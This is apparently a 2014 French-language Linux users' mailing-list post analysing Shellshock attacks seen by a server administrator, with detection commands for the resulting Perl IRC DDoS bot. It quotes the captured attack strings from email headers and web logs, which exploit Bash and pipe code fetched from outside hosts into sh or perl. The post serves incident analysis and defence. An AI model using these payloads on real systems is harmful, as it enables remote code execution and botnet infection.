Bonjour, Tout d'abord, j'ai reçu un mail étrange (voire suspect;-). En effet, tous les champs: ``To, References, Cc, From, Subject, Date, Message-ID, Comments, Keywords, Resent-Date et Resent-From'' contiennent la même chose, à savoir:
() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.x.x/ex.txt;lwp-do... Bref, un petit malin aimerait que je télécharge un truc et que je le lance... Malheureusement, le truc en question n'est plus disponible à l'adresse citée. Bon. Mais vendredi, j'ai trouvé dans les logs d'un de mes serveurs: ... [27/Oct/2014:05:40:56 +0100] "GET /admin.cgi HTTP/1.0" 403 2132 \ "() { :; }; curl http://202.143.x.x/lib21/index.cgi | perl" \ "() { :; }; curl http://202.143.x.x/lib21/index.cgi | perl" Donc le user-agent et le referer contiennent la même chose... Mais cette fois, je suis arrivé suffisament tôt pour le charger. Après dé-obfuscation: $ curl http://202.143.x.x/... | sed s/eval/print/ | perl > bot.pl J'ai trouvé un ``outil'' intéressant. J'ai donc joué un peu avec afin de comprendre autant que possible, les tenants et aboutissants. En résumé et en l'état: - Le script n'est pas installé, par conséquent: il meurre si on reboot. Attention à ce qui peut être modifié avec le droits de l'utilisateur atteint, en particulier cron et at... Notez que si ``root'' est atteint ou si un moyen ``d'élévation de privilège'' existe, alors la machine devient **entièrement** suspecte.) - Il s'agit d'un ``irc bot'' qui se logge sur un serveur IRC pour executer ce qu'on pourra leur demander via ce channel IRC. Donc une connection TCP est ouverte lorsque le script fonctionne. - Il se masque autant que possible et prend une apparence différente à chaque execution. - Il se fork lui-même, afin de libérer la session qui l'a initié. (Il se désolidarise de son parent) Pour le mettre en évidence: # ls -l /proc/*/exe | grep perl Listera les process utilisant perl sans tenir compte de la cmdline. # netstat -tanp | grep :8080 Listera les process utilisant le port 8080. Si le port 8080 est utilisé du coté distant, alors c'est lui. Nota: le port 8080 est utilisé par CETTE implémentation de ce bot, mais n'importe quel autre port peut être utilisé. Cependant, codé dans le script, ce port est le même pour toute une ``génération'' de ce script. # ps --user www-data ho pid,ppid Un process www-data dont le parent pid est `1' est suspect. # top Le script n'est pas parfait, il a tendence à consommer bcp de cpu. Etc... En fait, il existe une pléthore de truc à faire, mais cela dépend de l'environnement de la victime (serveur web, serveur mail, desktop...) Si ce sujet interesse, je peux organiser un petit workshop avec une présentation de ce script: DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team -- Félix Hauri - <fe...@f-hauri.ch> - http://www.f-hauri.ch _______________________________________________ gull mailing list gull@forum.linux-gull.ch http://forum.linux-gull.ch/mailman/listinfo/gull